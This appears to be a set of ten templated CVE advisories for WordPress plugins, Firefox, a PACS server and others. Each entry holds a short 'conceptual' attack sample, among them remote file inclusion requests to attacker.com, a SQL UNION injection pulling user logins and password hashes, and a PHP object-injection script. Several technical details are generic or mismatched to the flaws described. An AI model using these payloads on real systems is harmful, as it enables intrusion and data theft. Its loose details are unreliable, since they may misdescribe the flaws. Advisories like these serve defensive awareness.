Author: Ameeba

Overview

The vulnerability, designated as CVE-2025-53208, is an authorization bypass through user-controlled key vulnerability found in the software “Maya Business.” The flaw could potentially allow unauthorized users to access functionalities that are not properly constrained by Access Control Lists (ACLs), thereby potentially leading to system compromise or data leakage. As such, the vulnerability poses a significant threat to any organization utilizing the affected versions of Maya Business.

Vulnerability Summary

CVE ID: CVE-2025-53208
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Maya Business | Through 1.2.0

How the Exploit Works

The vulnerability stems from a flaw in the authorization module of the Maya Business software. Specifically, the application fails to properly implement ACLs, leading to an Authorization Bypass Through User-Controlled Key vulnerability. This could potentially allow an attacker to manipulate keys under their control to bypass authentication and gain unauthorized access to sensitive functionalities and information.

Conceptual Example Code

The following is a conceptual example of how an attacker might exploit this vulnerability:

POST /maya_business/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"user_controlled_key": "admin",
"other_payload": "..."
}

In this example, the attacker manipulates the “user_controlled_key” to mimic an admin key, thereby bypassing the ACL checks and gaining unauthorized access.

Mitigation Guidance

Organizations are strongly advised to apply the vendor patch for this vulnerability as soon as it is available. In the meantime, the use of Web Application Firewalls (WAFs) or Intrusion Detection Systems (IDS) could serve as temporary mitigation techniques. Regular monitoring and updating of security systems is also recommended to prevent potential exploits.

Overview

The vulnerability, CVE-2025-48302, is a significant security flaw found in Roxnor FundEngine that allows PHP Local File Inclusion due to an Improper Control of Filename for Include/Require Statement in its PHP Program. This vulnerability has a high impact on the confidentiality, integrity, and availability of the system. It could potentially lead to a full system compromise, data leakage, and give unauthorized access to sensitive data if successfully exploited.

Vulnerability Summary

CVE ID: CVE-2025-48302
Severity: High (7.5)
Attack Vector: Remote
Privileges Required: Low
User Interaction: None
Impact: System compromise, data leakage

Affected Products

Product | Affected Versions

Roxnor FundEngine | n/a through 1.7.4

How the Exploit Works

The vulnerability stems from an improper control of filename in the include/require statement in the PHP program of Roxnor FundEngine. This allows an attacker to manipulate the file that should be included. When a malicious user crafts a specific request to the application, it could cause the PHP interpreter to include a remote file hosted on an attacker-controlled server, leading to remote code execution on the server running the affected application.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. This could be a sample HTTP request:

GET /index.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: target.example.com

In this example, the attacker exploits the vulnerability by calling a malicious file hosted on their server (attacker.com/malicious_file.php). The server running the Roxnor FundEngine application then executes the malicious file, leading to a potential system compromise or data leakage.

Mitigation

To mitigate this vulnerability, it is recommended to apply any patches provided by the vendor. If a patch is not immediately available, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and prevent exploitation attempts could serve as a temporary mitigation measure. Regularly updating and patching systems is also a good security practice to prevent such vulnerabilities.

Overview

The vulnerability CVE-2025-48298 is a significant security oversight in the SEOPress for MainWP plugin, developed by Benjamin Denis. Specifically, it involves an improper control of the filename for include/require statement in PHP, also known as ‘PHP Remote File Inclusion’. This vulnerability could potentially lead to severe system compromise or data leakage, impacting the privacy and security of users.

Vulnerability Summary

CVE ID: CVE-2025-48298
Severity: High (7.5)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Benjamin Denis SEOPress for MainWP | Up to and including 1.4

How the Exploit Works

The vulnerability stems from the improper control of filenames for include/require statements in PHP programs. An attacker can abuse this oversight by tricking the system into including a file from a remote server that contains malicious code. This code is then executed in the context of the application, potentially leading to unauthorized access, data leakage, or even a system compromise.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited:

GET /include.php?file=http://attacker.com/malicious_script.txt HTTP/1.1
Host: target.example.com

In the above example, an attacker could use a URL parameter to inject a path to a malicious script hosted on their server. When the ‘include.php’ file is processed by the server, it includes the content of the malicious script and executes it, leading to potential system compromise.

Mitigation Guidance

To mitigate this vulnerability, users are advised to apply the latest patch provided by the vendor. In the absence of a patch, users can employ a web application firewall (WAF) or intrusion detection system (IDS) as a temporary solution. However, these are not long-term solutions and may not completely protect against the exploit. As a best practice, regular updating of software should be maintained to protect against known vulnerabilities.

Overview

This report provides an analysis of the CVE-2025-30975 vulnerability, a significant security flaw affecting the SaifuMak Add Custom Codes software. This vulnerability allows hackers to perform Code Injection attacks, potentially compromising systems and leading to data leakage. It’s a crucial concern for all users of the affected software versions.

Vulnerability Summary

CVE ID: CVE-2025-30975
Severity: High (7.5 CVSS)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

SaifuMak Add Custom Codes | Versions up to 4.80

How the Exploit Works

The vulnerability lies within the improper handling of code generation by the SaifuMak Add Custom Codes software. This flaw allows an attacker to inject malicious code into the system. By sending a specially crafted request to the application, the attacker can cause the software to execute the arbitrary code, which could lead to system compromise or data leakage.

Conceptual Example Code

Here’s a
conceptual
example of how the vulnerability might be exploited:

POST /addCustomCodes HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "custom_code": "<script>malicious_code_here</script>" }

In this example, the malicious code within the “custom_code” parameter would be processed and executed by the SaifuMak Add Custom Codes software, leading to the potential compromise.

Mitigation Guidance

Users are advised to apply the vendor patch immediately to mitigate the risks associated with this vulnerability. In the absence of a patch, the use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can provide temporary mitigation.

Overview

The Redirection for Contact Form 7 plugin for WordPress, a widely used plugin, is vulnerable to PHP Object Injection. This vulnerability, identified as CVE-2025-8289, allows an unauthenticated attacker to potentially compromise a system or leak data. This report will detail the vulnerability, its potential impacts, and measures to mitigate the risk.

Vulnerability Summary

CVE ID: CVE-2025-8289
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Redirection for Contact Form 7 Plugin for WordPress | <= 3.2.4 Redirection For Contact Form 7 Extension - Create Post | All versions How the Exploit Works

The Redirection for Contact Form 7 plugin for WordPress is vulnerable to PHP Object Injection via the delete_associated_files function. This vulnerability arises due to the deserialization of untrusted input. Unauthenticated attackers can exploit this vulnerability when a form with a file upload action is present on the site. The presence of the ‘Redirection For Contact Form 7 Extension – Create Post’ extension further makes the vulnerability exploitable. With a POP chain present via an additional plugin or theme, the attacker can take actions like deleting arbitrary files, retrieving sensitive data, or executing code.

Conceptual Example Code

A conceptual example of how the vulnerability might be exploited is shown below:

<?php
class Exploit {
function __destruct() {
file_put_contents('/path/to/arbitrary/file', 'Injected content');
}
}
$exploit = serialize(new Exploit());
$postdata = http_build_query(
array(
'form_data' => $exploit,
)
);
$opts = array('http' =>
array(
'method'  => 'POST',
'header'  => 'Content-type: application/x-www-form-urlencoded',
'content' => $postdata
)
);
$context  = stream_context_create($opts);
$result = file_get_contents('http://target.example.com/vulnerable/endpoint', false, $context);
?>

Mitigation Guidance

To mitigate this vulnerability, it is recommended to apply the vendor patch as soon as it becomes available. In the meantime, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. Regularly updating all plugins and themes can also reduce the risk of exploitation.

Overview

The CVE-2025-9182 vulnerability is a critical denial-of-service (DoS) issue that impacts the Graphics: WebRender component in certain versions of Firefox and Thunderbird. Exploiting this vulnerability can lead to out-of-memory scenarios, potentially compromising the system or leading to data leakage. This vulnerability poses a significant threat to organizations and individuals using affected versions of these software products.

Vulnerability Summary

CVE ID: CVE-2025-9182
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: System compromise or data leakage due to Denial-of-Service (DoS)

Affected Products

Product | Affected Versions

Firefox | < 142 Firefox ESR | < 140.2 Thunderbird | < 142 Thunderbird ESR | < 140.2 How the Exploit Works

An attacker exploiting this vulnerability would send specially crafted data to the affected software. This data causes the Graphics: WebRender component to exhaust memory resources, resulting in a denial-of-service condition. This could potentially allow the attacker to execute arbitrary code or access sensitive information.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This is not a real exploit, but it provides an idea of how an attacker might leverage this vulnerability:

POST /api/render HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"render_data": "<Long string of data causing memory exhaustion>"
}

In this example, the attacker sends a long string of data via a POST request to the vulnerable render API endpoint, causing an out-of-memory condition and triggering the vulnerability.

Overview

The vulnerability CVE-2025-55029 is a serious issue that affects Firefox for iOS versions prior to 142. This flaw enables malicious scripts to bypass the browser’s native popup blocker, leading to the potential bombardment of new tabs. Such an action can trigger a denial-of-service (DoS) attack, compromising the system’s functionality and possibly leading to data leakage. This vulnerability is a significant concern for all users of the affected Firefox versions on iOS, as it can significantly disrupt the user experience and potentially compromise sensitive data.

Vulnerability Summary

CVE ID: CVE-2025-55029
Severity: High (7.5/10)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Denial of service, potential system compromise, and data leakage

Affected Products

Product | Affected Versions

Firefox for iOS | Versions prior to 142

How the Exploit Works

The exploit works by taking advantage of a flaw in the popup blocker of Firefox for iOS. The attacker crafts malicious scripts that can bypass the popup blocker, leading to an excessive generation of new tabs. This can overwhelm the system, leading to a denial of service. The vulnerability could potentially be further exploited to achieve system compromise or data leakage.

Conceptual Example Code

A malicious script example that could exploit this vulnerability might look something like this:

while (true) {
window.open('http://malicious-website.com');
}

This simple script would continuously open new tabs pointing to ‘http://malicious-website.com’, leading to the aforementioned DoS state.

Mitigation Guidance

Users are strongly advised to update Firefox for iOS to the latest version to fix this vulnerability. In cases where immediate patching is not feasible, implementing a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) may serve as a temporary mitigation strategy. They can help detect and prevent the execution of the malicious scripts associated with this vulnerability.

Overview

The Common Vulnerabilities and Exposures (CVE) program has identified a significant vulnerability, CVE-2025-41689, that allows an unauthenticated remote attacker to gain unauthorized access to protected devices. This vulnerability permits read-only access to stored measurement data, posing a risk to a wide range of devices and applications. The severity of this issue is demonstrated by its high CVSS score, indicating the potential for system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-41689
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Unauthenticated remote access leading to potential system compromise or data leakage.

Affected Products

Product | Affected Versions

To be determined | To be determined
To be determined | To be determined

How the Exploit Works

This exploit takes advantage of a lack of password protection on the targeted device. An unauthenticated remote attacker can access the device’s stored measurement data. The attacker does not need any special privileges or user interaction, making it a high-risk vulnerability.

Conceptual Example Code

Below is a conceptual example of how this vulnerability could be exploited, using an HTTP request:

GET /device/data/ HTTP/1.1
Host: targetDevice.com

In this example, the attacker sends a GET request to the targeted device’s data endpoint. As the device lacks password protection, the attacker can access and read the stored measurement data.

Mitigation Guidance

The most effective solution to this vulnerability is to apply the vendor’s patch, which should rectify the lack of password protection. If the patch is not available, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can offer temporary mitigation. These systems can detect and block suspicious network traffic, helping to prevent unauthorized access.

Overview

The CVE-2025-7670 vulnerability is a time-based SQL injection vulnerability that affects the JS Archive List Plugin for WordPress. It is a significant concern as it allows unauthenticated attackers to inject custom SQL queries into existing ones, potentially leading to data leakage or even system compromise. Websites utilizing versions of this plugin up to and including 6.1.5 are at risk.

Vulnerability Summary

CVE ID: CVE-2025-7670
Severity: High (CVSS 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

JS Archive List Plugin for WordPress | 6.1.5 and below

How the Exploit Works

The vulnerability stems from the build_sql_where() function in the JS Archive List plugin, which inadequately escapes user-supplied parameters and lacks sufficient preparation on the existing SQL query. This allows an unauthenticated attacker to append malicious SQL queries into existing ones, potentially leading to extraction of sensitive information from the database.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This is a sample HTTP request with a malicious SQL payload.

POST /wp-admin/admin-ajax.php?action=jsal_suggest HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
s=1+UNION+SELECT+1,CONCAT(user_login,0x3a,user_pass),1+FROM+wp_users-- -

In this example, the “s” parameter is used to inject a SQL UNION SELECT query that concatenates the login and password of users from the ‘wp_users’ table. This could potentially leak sensitive information like usernames and hashed passwords.

Mitigation Guidance

Users of the JS Archive List Plugin for WordPress are strongly advised to apply the vendor patch to rectify this vulnerability. In the absence of a patch, users can also deploy Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) as a temporary mitigation measure to detect and block SQL Injection attacks. Regularly updating and patching software is also a must to prevent such vulnerabilities.

Overview

This report is focused on the CVE-2025-53948 vulnerability, a severe flaw found in the Sante PACS Server. This vulnerability allows a remote attacker to crash the server’s main thread by sending a specially crafted HL7 message, thus causing a denial-of-service condition. Given the fact that no authentication is required to exploit this vulnerability, it poses a significant risk to all systems running the affected software.

Vulnerability Summary

CVE ID: CVE-2025-53948
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Denial-of-Service and potential system compromise or data leakage

Affected Products

Product | Affected Versions

Sante PACS Server | All versions prior to the latest patch

How the Exploit Works

The vulnerability is exploited by sending a malformed HL7 message to the Sante PACS Server. The server fails to handle this anomalous input correctly, leading to a crash of the main thread. This results in a denial-of-service condition that requires a manual restart of the application. Because the server does not require authentication to process HL7 messages, an attacker can exploit this vulnerability remotely, over a network.

Conceptual Example Code

Below is a conceptual example of a malformed HL7 message that an attacker might send to exploit this vulnerability:

POST /HL7/Processing HTTP/1.1
Host: target.example.com
Content-Type: application/hl7-v2
Content-Length: ...
MSH|^~\&|MaliciousApp|Attacker|SantePACS|Target|...|^MaliciousMessage^...

Note
: The actual malicious payload is represented by `^MaliciousMessage^…` in the example above. The specific nature of the malicious payload is not provided here for security reasons.

Mitigation Guidance

It is strongly recommended that all users of the Sante PACS Server apply the patch provided by the vendor as soon as possible. In the meantime, or if patching is not immediately feasible, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) may provide temporary mitigation by blocking or alerting on anomalous HL7 messages.